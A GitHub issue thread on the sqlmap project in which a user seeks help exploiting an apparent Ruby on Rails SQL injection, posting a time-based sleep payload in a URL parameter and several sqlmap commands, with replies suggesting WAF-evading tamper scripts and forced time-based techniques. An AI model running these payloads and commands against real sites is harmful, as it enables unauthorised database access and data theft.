Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Not a bug. Need help to find the right syntax #2413

Open
brandonalmost opened this issue Feb 26, 2017 · 5 comments
Open

Not a bug. Need help to find the right syntax #2413

brandonalmost opened this issue Feb 26, 2017 · 5 comments

Comments

@brandonalmost
Copy link

Hello,

First sorry to open a issue about this again i know it's not a issue with sqlmap but i am lost with ruby on rails sql injection. I really need help to find the right syntax.

Ruby on Rails SQL injection

https://localhost/index.htm?cat=1&ob[mysql%20where%20sleep(1/10)%20%3b%20--%20.user][1]=1&off=1

So i tried your syntax from this issue

sqlmap.py -u "https://localhost/index.htm?cat=1&ob[mysql%20where%20sleep(1/10)%20%3b%20--%20.user][1]=1&off=1" --eval='import time;uri=uri.replace("user]", "user%d]" % time.time())' --level=3 --risk=3 --time-sec=1

I got a error:

[CRITICAL] an error occurred while evaluating provided code ('invalid syntax')

I also tried to inject the parameter directly with this command:

sqlmap.py -u "https://localhost/index.htm?cat=1&ob=1*&off=1" --risk=3 --level=3 --time-sec=1

False, normal blind unstead of time based:
Appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable
[WARNING] false positive or unexploitable injection point detected

@iwantaturboman
Copy link

Don't you think it's a false positive ?

@putuoka
Copy link

putuoka commented May 7, 2017

try this

sqlmap.py -u "https://localhost/index.htm?cat=1&ob=1&off=1" --random-agent --batch --risk=3 --level=3 -p ob --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

@syedafzal
Copy link
Contributor

use --technique=T to force timebased injection.

@stamparm
Copy link
Member

@brandonalmost sorry for ignoring this. Is there are CVE related to this SQLi? I mean, from your payload it doesn't look like a proper SQL injection (no delimiter after [mysql)

@AmericanY
Copy link

@brandonalmost rerun your command to confirm it's a valid SQLI, also kindly proceed with --drop-set-cookie since it's a Boolean.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants